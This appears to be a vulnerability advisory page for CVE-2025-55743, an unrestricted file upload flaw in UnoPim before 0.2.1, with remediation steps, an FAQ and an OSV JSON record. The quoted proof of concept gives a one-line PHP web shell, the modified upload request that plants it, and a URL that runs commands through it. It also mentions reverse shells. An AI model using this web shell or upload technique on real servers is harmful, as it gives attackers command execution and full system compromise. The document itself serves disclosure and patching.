CVE-2025-55743: Unopim/unopim Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-v22v-xwh7-2vrm
CWE-434
Published
Advisory Summary

CVE-2025-55743 is a HIGH remote code execution vulnerability (CWE-434: Unrestricted Upload of File with Dangerous Type) affecting Unopim/unopim libraries in the Packagist ecosystem. The issue involves unopim vulnerable to remote code execution through arbitrary file upload. Remediation is available by upgrading affected packages to version 0.2.1.

CVE-2025-55743 at a Glance

CVE Identifier CVE-2025-55743
GHSA Identifier GHSA-v22v-xwh7-2vrm
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-434: Unrestricted Upload of File with Dangerous Type
Affected Product Unopim/unopim
Package Ecosystem Packagist
Published Date
Last Updated

How to Fix CVE-2025-55743

To remediate this vulnerability, upgrade all affected Unopim/unopim dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

unopim/unopim fixed: 0.2.1
Upgrade unopim/unopim to 0.2.1
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for unopim/unopim

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-55743, inspect your project dependencies for Unopim/unopim:

inspect dependencies for unopim/unopim

Analyze the terminal output to locate any version of Unopim/unopim in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.2.1), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-434: Unrestricted Upload of File with Dangerous Type, where the product allows the upload or transfer of dangerous file types that are automatically processed within its environment. In Unopim/unopim, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary: Affected Functionality: **Image upload at User creation** Endpoint: `/admin/settings/users/create` ### Details The image upload at the user creation feature performs only client side file type validation. A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. Make changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file. Modified part of the multipart request body: ``` Content-Disposition: form-data; name="image[]"; filename="poc.php" Content-Type: application/x-php <?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?> ``` ### PoC 1. Upload an image file as profile picture during user creation , now capture the request and modify. File content: ```<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>``` File name: poc.php Content-Type can be any, doesn't matter. 2. Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls // pass the command to run as parameter value for `cmd`, example running `ls` command on the system Likewise a reverse shell code ( [reverse shell of other languages](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) ) can be executed to create a connection to attacker controlled system. ### Impact Every user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network. Please see the POC video: https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn ### Recommendation: Extension Validation: Whitelist allowed extensions. ( use `endswith()` check rather than `contains()` as an attacker can bypass such a restriction with filename: poc.jpg.php

CVE-2025-55743 Affected Unopim/unopim Versions

1 component(s)
Fixed Versions:
0.2.1
Product / Package Ecosystem Affected Versions Fixed Version
unopim/unopim
Packagist
< 0.2.1
0.2.1

References

Frequently Asked Questions

What is CVE-2025-55743?
CVE-2025-55743 is a security vulnerability in Unopim/unopim involving UnoPim vulnerable to remote code execution through Arbitrary File upload under CWE-434: Unrestricted Upload of File with Dangerous Type.
Which Unopim/unopim versions are affected?
Affected versions include releases prior to 0.2.1 across affected packages: unopim/unopim.
What version fixes CVE-2025-55743?
Upgrading to 0.2.1 (or the latest patched release for your respective branch) resolves the vulnerability.
Is unopim/unopim affected?
Yes, unopim/unopim is affected in releases prior to 0.2.1. Upgrade your dependency to 0.2.1 or later.
What CWE is associated with CVE-2025-55743?
CVE-2025-55743 is classified under CWE-434: Unrestricted Upload of File with Dangerous Type (The product allows the upload or transfer of dangerous file types that are automatically processed within its environment.).
How can I check Packagist dependencies for CVE-2025-55743?
Run the dependency tree command: 'inspect dependencies for unopim/unopim'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-v22v-xwh7-2vrm",
  "modified" : "2026-05-28T18:04:24Z",
  "published" : "2025-08-21T14:26:31Z",
  "aliases" : [ "CVE-2025-55743" ],
  "summary" : "UnoPim vulnerable to remote code execution through Arbitrary File upload",
  "details" : "### Summary:\nAffected Functionality: **Image upload at User creation**\nEndpoint: `/admin/settings/users/create`\n\n### Details\nThe image upload at the user creation feature performs only client side file type validation.\nA user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. \nMake changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file.\n\nModified part of the multipart request body:\n```\nContent-Disposition: form-data; name=\"image[]\"; filename=\"poc.php\"\nContent-Type: application/x-php\n\n<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>\n```\n\n### PoC\n 1. Upload an image file as profile picture during user creation , now capture the request and modify.\n File content: ```<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>```\n File name: poc.php\n Content-Type can be any, doesn't matter. \n 2. Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls\n // pass the command to run as parameter value for `cmd`, example running `ls` command on the system\n\nLikewise a reverse shell code ( [reverse shell of other languages](https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet) ) can be executed to create a connection to attacker controlled system.\n\n### Impact\nEvery user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network.\nPlease see the POC video: https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn\n\n\n### Recommendation:\nExtension Validation: Whitelist allowed extensions. ( use `endswith()` check rather than `contains()` as an attacker can bypass such a restriction with filename: poc.jpg.php",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "unopim/unopim"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "0.2.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 0.2.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/unopim/unopim/security/advisories/GHSA-v22v-xwh7-2vrm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-55743"
  }, {
    "type" : "WEB",
    "url" : "https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/unopim/unopim"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-434" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-08-21T14:26:31Z",
    "nvd_published_at" : "2025-08-21T16:15:34Z"
  }
}